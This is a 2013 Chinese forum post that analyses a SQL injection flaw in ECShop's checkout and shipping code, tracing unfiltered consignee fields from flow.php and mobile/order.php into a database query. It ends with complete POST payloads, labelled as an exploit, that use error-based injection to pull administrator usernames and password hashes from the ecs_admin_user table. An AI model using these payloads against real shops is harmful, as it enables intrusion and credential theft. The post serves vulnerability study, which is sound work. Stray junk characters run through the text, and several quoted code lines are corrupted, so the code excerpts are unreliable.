找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。. z1 l" @" `$ W0 [8 h( K
5 ^# T- `* B1 F# V( w' \
    漏洞关键文件:5 b; g( e7 g+ ?+ b  J+ v/ a

, P. x) N4 }+ Q6 w8 d    /includes/lib_order.php3 _1 D8 H  g& ?/ N4 |4 O  D

8 `; Q" P! @( u0 U8 Z" H    关键函数:  p+ @9 N2 ^6 \2 P7 ]# j
* z2 g5 v) [: x/ D! f
$ u+ S- H  t3 P+ X( Z6 n5 V

; ~. P- {( V" w4 u01     function available_shipping_list($region_id_list)
5 R- l7 @# q9 U+ [' _, B( ^5 G' Q6 i( M. ]
02 {
8 p$ M# E0 J/ i6 I0 I3 c/ q0 z& _* X$ ^  a9 l
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ i: u+ A, w$ {& w& D: |& O+ F$ g$ }6 s) j
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 6 j% D9 ~1 x0 i( g7 ]9 G+ A
5 m) y/ }( i& R% o
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 9 Q8 W1 B. `( T/ A; \% r$ q5 C" S

* T7 s6 e, g# u# {06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . , c) u! x0 e: _' U
# [1 g% q! E) Z" G6 Q' y& r9 |8 K
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; O4 X' K' l9 O
' N9 d9 I: W( L0 P: b08             'WHERE r.region_id ' . db_create_in($region_id_list) .
# n6 x7 p& _: P: T6 T1 m
$ n! ^' w7 R0 x3 ]0 S: d09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , s7 o# Z: e+ x# Z0 K* ^* x

; ?! }+ y9 s% X9 b. h( F- G10   
/ P, t' U# y) i" W/ J2 J, h: M" ]" z- F9 r8 c  H3 v  ]6 Y
11     return $GLOBALS['db']->getAll($sql);
2 J9 q8 z2 v- Y8 ]  G3 H4 O5 ?& v8 V$ H( k0 Z
12 }
: a6 q4 ~6 ?2 u% |$ q; H# |+ i: m) f. e6 v( h# g# ?
显然对传入的参数没有任何过滤就带入了查询语句。* r* r+ q9 s/ C1 ~( a

# J: l3 M7 f( x0 D% e3 q% Q) B下面我们追踪这个函数在flow.php中:4 X- S% {# W6 I) H4 _. B, L8 w& H
第531行:   
( ?6 Y* w! u0 l) {. r* I+ m' K8 K) y; Q
1 $shipping_list     = available_shipping_list($region);
# q4 \8 J5 l: {$ z% u  g) L5 F1 e( p* m2 ?* B# O- G/ _
" M' ?! ^/ M; |
+ ^1 U. _. \( T

+ E% F: t2 x: L! p: x& W. t1 N* B# m$ c. H5 r- o( G) B
再对传入变量进行追踪:
& C/ Z3 b. D& ~" T( T. A& j' c9 ?* `5 m4 y
第530行:    * l. O" r/ b- v6 ]1 |9 ~) k
2 j6 m9 E7 w: q
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); + L/ `  ?$ [/ t& f. E
  Z# C0 r: J- e, a
7 ?9 `: \! g, b
6 D/ k9 I2 @: N! s1 a7 I+ f0 L

! }, m! Z4 K& m/ X- I
+ |: c/ x- f' H( x' x/ b第473行:        ; i. `1 f$ T' M* _
) t& a7 r0 u" R1 }' _
1 $consignee = get_consignee($_SESSION['user_id']);
* q3 \- L: ~$ t2 o2 W/ H( {4 ~8 [( ]9 B
到了一个关键函数:. V8 m& x6 @: N+ L0 s, c

2 c; e$ d# g& [( W" D) t. W! F# L/includes/lib_order.php, F" G. ^4 o2 ~$ {4 g" X
% W! j% Z: z$ I7 D) Z
2 A( o+ y$ ^3 k# U4 z1 k- l" X
: Y" z) p- E5 N/ ]+ K% \
( r& }! [0 T$ B! {9 d1 C' u
1 O) V; S6 K4 S8 a) D
01 function get_consignee($user_id) 6 M2 ]! U' u9 A# b) a6 p3 R* a

' v( D; I  \8 i+ J9 {8 r' L02 { * V5 f9 l, v  n2 l: |& S1 k: \
5 A& a* Z0 {, G7 r" \, |& s9 s
03     if (isset($_SESSION['flow_consignee'])) 1 x- U) H9 w6 L+ P/ ]0 e

! k) @  Z6 z6 _- s( |$ _" T04     {
# |" ~4 L2 j) K9 f
+ u1 o4 @0 V, b% U05         /* 如果存在session,则直接返回session中的收货人信息 */ 0 @; m) a* @, c0 _$ }5 X  F: Q5 u
1 D0 I. n& ]6 V6 T
06   
/ y! l8 w: A# p8 ^: t( m
* b; r8 e6 y3 F8 S07         return $_SESSION['flow_consignee']; ' k" h! E8 }* x3 N* [. X% H
, N5 n8 I- V" x" N! [
08     } 7 T9 @: _' B" F$ @
5 J% U% `# c1 F. {7 l
09     else
; f. W% J: h1 Q2 ^8 Z
& V8 ~4 t3 X9 p0 J/ B10     {
; p. w0 x( n1 Y* G* e% C8 r- M8 W. j# ?" z
11         /* 如果不存在,则取得用户的默认收货人信息 */
7 h8 S: L" L/ q7 [: m
% `% R- Y+ n, e' a% I12         $arr = array();
- c# I% ]  }$ y/ e2 B; u  i) L! N
13   
1 C: [4 @4 W2 G+ m% ^
. i: v" H9 b1 d0 M9 b14         if ($user_id > 0)
5 w! X  z6 r  ~3 R+ v* r
$ U" y7 V" ^9 ]/ Y% C- n3 r& `9 H15         {
1 j/ D2 B% b6 v( K: f$ F
/ T' X* g! [+ x- _16             /* 取默认地址 */
3 n$ ~, e+ R2 O, i7 {5 b, B+ x, \
! X% R) \1 E. n& C) f2 U) _& D$ C17             $sql = "SELECT ua.*". 7 H+ M  z+ F! [9 W

0 o+ u, S% [# s& V18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. $ f! Z: V. Z* c$ O
" `$ W! ]2 f4 o# J& L0 t7 |7 f
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, E( a2 r$ L2 N7 @1 t" A8 y, g4 J
4 {! [" s9 D0 T& P4 Q. p20   
  _. C$ j; {& Z0 ]
' l, g, w% N% [" D6 p! t& Q21             $arr = $GLOBALS['db']->getRow($sql);
1 X9 }( b% T6 D9 X& X4 D3 q
' f1 B7 I( u9 v- D2 n3 }' T22         }
" f7 s1 D# n: |) T( i7 j' w7 m
# Y4 P! ]) m0 M) t' l( x4 P+ o6 s23   3 d$ I2 Q7 R; B9 w6 s2 @+ j
4 J. t' ?, g: d# F7 S$ M
24         return $arr;
+ w( v; m  d3 l, c8 c: s/ p
5 |+ n6 u3 d; o6 P4 Z25     } , [# I* s# `! Q$ K9 c& f

9 C2 K7 o& w! I0 b7 ~" c26 } * v& w$ p+ m  |5 Q* A$ c! N: C

0 S4 n8 P" ?5 d7 _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?! u9 o. ?% u2 m$ O2 c
* Z% n6 B3 c: K& [8 [
2 j8 @" K0 Z8 }
, t" `, q' \/ M- Q" B7 W
关键点:1 D6 W9 g; B! Z/ W4 c

! x8 w1 \  N; d1 E4 H! T- W/ Z. O第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);$ j! r# S; i1 n- I/ G) O
8 }+ P0 l; d+ M/ L; p
这里对传入参数反转义存入$_SESSION中。
" s3 k6 }; ^/ ]7 G
& b* f! Q# v' J" U  F+ m
* C7 f8 K. s) P) g% P9 F' D+ Y: U' a8 Y7 [6 h$ L2 w
然后看下:  V( v8 M+ k$ d. i

- p) m9 u6 |; e0 E6 J) z . M# i) w3 _9 U8 q

- l$ O4 d0 t# d7 F0 S: P   
( L0 Z1 l8 H! ?3 L/ j( R5 p$ L- E( b
01 $consignee = array( 7 [; t1 a# }1 J& k' b) J% w( `
. v( g3 ?! L' G! a- l" F3 O* Q
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
9 q2 `( N( C# f, @
1 Q9 C6 B, B2 k) U! L( K9 T! ~03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( r- r- v3 a+ k8 c% H
+ H3 `+ F' x0 M7 U04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
5 I( U  P* d! q3 o
/ a, n! d7 A* M3 S' V! K05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
* f! |* D9 e& L1 Y
$ N+ |4 x$ o& g/ L) H06         'city'          => empty($_POST['city'])       ? '' _POST['city'], & Y% V, J$ @7 J: B: u: F
# y* {' _5 m, U" N) N4 X) z
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
9 J7 N: L2 |1 ?4 f: u" W' R4 }  n
4 c% C2 [- m: [1 c5 {7 t' A08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 1 X+ d% w! ]9 U  p

( m# q  _' X# e9 Q8 o: B& }09         'address'       => empty($_POST['address'])    ? '' _POST['address'],   @) f% h' X& r; F/ a; ?

2 @2 T1 f2 T0 i10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
% j  A9 z- i- U
- Q3 c- N4 m, L1 l0 W7 ]11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), , @3 l) ^* v1 @# t! N

( g' l1 `! @  h6 ]  N! }$ X: A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 9 r$ e- Y7 V5 p% d2 u

) _& ^* ^- _8 e  K2 E5 ~13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
# {* ^, k9 `* Q. u% g+ H& v  m. x' [4 s8 t$ O
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], - U" s6 _4 R- d2 e) V) T& `
+ p! k# a( ~# u) c# Q  N+ @  I
15     ); " _7 i, ~& K# Q' n/ q9 t. {
. ~7 j1 @. o6 X! R
好了注入就这样出现了。- m  B" e. T$ [" J4 B! U

* u8 K/ w# M' d6 ~==================# [' l+ t0 G- T1 a5 v" r
) o( W! l; k- V3 l" Z5 w5 b4 f
注入测试:
; E6 D( n" R  q' r9 ^8 @* j& p; b
' l6 Y2 w7 a8 [( l$ B环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16); r7 C2 P! _' G& i0 \6 T/ W3 ]# D+ {: }
, M# a) k( R0 P* L5 z" Z
测试程序:ECShop_V2.7.3_UTF8_release11061 R3 ?& z- [7 _2 \' a# x: k7 e
2 U- u% Y0 r" x' l0 d! m3 v# B9 F* h  {
4 K" @& w* T- G
, E: v% a5 a- |% J9 ]* n! C
1.首先需要点击一个商品加入购物车
: J1 W4 q+ m7 _
* ~( Q, J  i0 w2.注册一个会员帐号: D- V$ q0 g* i2 ~' }& W  P

( u  H. h! Z8 a1 k) f3.post提交数据) e: w/ g) w' Z  {

! G# U6 C4 X6 H$ @8 A 1 S" p$ b* R! |4 x6 f. c& a* f2 O

; X& I& ]  m; E6 L1 http://127.0.0.1/ecshop/flow.php
5 v# P) D# I. U2 c# Q! d% F8 V! \5 k8 q
2   $ F( C# Q9 D& p. c
6 y6 s) ~1 W& J) v5 T4 q  r
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : r+ R0 s+ ~" O, j7 y% w( n  [
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
! I) }1 K* R: M6 |7 ]# Y
. g1 o% P) P  Z) S+ t) d我们搜寻关键函数function available_shipping_list()0 q6 ~+ |7 W- `( P0 T: q6 v# _

! u/ Y& H4 c, z! ?; c2 N% @在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同" B: g  W$ H" L
2 G! q4 r: h' v7 P8 ^
利用exp:
  `: g; c2 y4 Y5 w# p0 J  c1 {
, Y; z* A, ^! W  V. }9 E  S1.点击一个商品,点击购买商标# g; M* t5 e5 u- T

+ ~  ]& K3 U/ v! |/ M2.登录会员帐号' h8 n6 q6 ]' k" }0 ?+ b" b

& p0 [( C8 O5 r' I* X, J# |% T3.post提交:
0 j3 g9 ~8 H- g4 P0 d6 x% `. {  e: V
http://127.0.0.1/ecshop/mobile/order.php2 E* I4 S* a3 r

: k5 \: L6 X9 {( w9 V - O% e8 e' E( ?  p  I2 @

; t( x; U. [( Z$ k2 \# D3 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 h. v9 N7 L( _) R& a" f" v- z, M" ?. R  l1 R8 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表